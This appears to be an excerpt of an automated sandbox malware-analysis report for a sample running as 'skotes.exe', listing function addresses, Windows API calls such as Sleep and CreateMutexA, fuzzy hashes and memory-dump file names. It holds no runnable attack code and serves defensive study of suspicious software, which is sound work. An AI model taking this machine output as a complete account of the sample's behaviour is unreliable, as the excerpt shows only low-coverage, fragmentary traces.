Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 7821166169ad7a5bc7ef071273ce2198e2bec01bd22a5d8f8c8b13adba2f3702
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: D6E08C32921228EBCB14EB98C90498AF7ECEB49B05B65009AF501D3160C270EF00D7D4

Function 00C8CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C8CC66

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: 83293f4c9cd9aab16396264599733420b5cab963e9863a91c3a8b1e7ab2c4784
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: F6B15932D006459FDB11EF28C8C17BEBBE5EF45348F14416AE855EB242D6349E41CB78

Function 00C52EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00C52F5F
__Mtx_unlock.LIBCPMT ref: 00C52FCC
__Mtx_unlock.LIBCPMT ref: 00C530F5
__Mtx_unlock.LIBCPMT ref: 00C5319B

Memory Dump Source

Source File: 00000000.00000002.1728854916.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1728827032.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728854916.0000000000CB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728938783.0000000000CB9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728962218.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728989316.0000000000CC5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729010908.0000000000CC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729033715.0000000000CC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729165928.0000000000E2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729191084.0000000000E31000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729217409.0000000000E4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729238012.0000000000E4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729261387.0000000000E55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729303775.0000000000E5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729323379.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729343531.0000000000E61000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729363200.0000000000E63000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729384290.0000000000E6B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729412313.0000000000E71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729438888.0000000000E89000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729463774.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729486838.0000000000E8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729511763.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729537932.0000000000EB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729559487.0000000000EB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729582138.0000000000EBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729604500.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729623916.0000000000EC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729648901.0000000000EC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729676780.0000000000ECD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729698298.0000000000ECE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729720862.0000000000ECF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729746102.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729767353.0000000000EDA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729788564.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729808678.0000000000EDE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729831262.0000000000EE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729853521.0000000000EEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729874902.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729898126.0000000000EFA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729918670.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729981038.0000000000F66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730003813.0000000000F67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730026767.0000000000F68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730050872.0000000000F6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730070782.0000000000F6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730095851.0000000000F7C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1730117202.0000000000F7E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: d6956c6bdb62f879adb8e6de72316118053ab9a1014318df49837bc5794eb265
Instruction ID: 61c27e01d716257c2b23ce0fcedbd092b1c5abb7e304378f280d874a88e9a13e
Opcode Fuzzy Hash: d6956c6bdb62f879adb8e6de72316118053ab9a1014318df49837bc5794eb265
Instruction Fuzzy Hash: 46A1FEB4A007559FDB20DBB5C88476AB7E8FF15351F008229EC26D7281EB31EB48CB95

Analysis Process: skotes.exePID: 5936, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1949
Total number of Limit Nodes:	9

Executed Functions

Function 00D3652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,00D3652A,?,?,?,?,?,00D37661), ref: 00D36567

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4258e6fe0fbf239e25c04acf79686b11a4e8b12e4548a3b470ebcde83a4f4637
Instruction ID: 78f80bf1b6c442c917de165b8ac8d165f0c0825b169a370433e011620205b3d8
Opcode Fuzzy Hash: 4258e6fe0fbf239e25c04acf79686b11a4e8b12e4548a3b470ebcde83a4f4637
Instruction Fuzzy Hash: 75E08C30241218BECF35BB18C80DE493B69EB92741F148820FA1986222DB25EE81C6A0

Function 00D09BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757244508.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757263748.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757282378.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757303866.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757317898.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b91fd243ab705084bf0ca90cfbca803b80b959367cbce1dfb13b7bda493266bb
Instruction ID: 68a0a4453c8c4e04d9d5f3ccf3de84ef4763bc45ef35bdbfd3356da97228abf1
Opcode Fuzzy Hash: b91fd243ab705084bf0ca90cfbca803b80b959367cbce1dfb13b7bda493266bb
Instruction Fuzzy Hash: 70310571B452049BEB08DB6CEC99BADF7A2EBC6320F648218E018973D6C77589808675

Function 00D09F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00D0A963
CreateMutexA.KERNELBASE(00000000,00000000,00D63254), ref: 00D0A981

Memory Dump Source

Source File: 00000001.00000002.1756461628.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000001.00000002.1756443196.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756461628.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756508194.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756520345.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756533533.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756546054.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756558311.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756651854.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756666843.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756684321.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756699329.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756712526.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756743885.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756757222.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756770262.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756783629.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756798424.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756812035.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756829632.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756843274.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756856511.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756874939.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756893133.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756907723.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756922260.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756937746.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756951638.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756966337.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756980874.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1756993762.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757006365.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757020181.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757034284.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757047711.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757060820.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757074250.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757093546.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757112856.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757131402.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757149117.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757208261.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1757226314.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
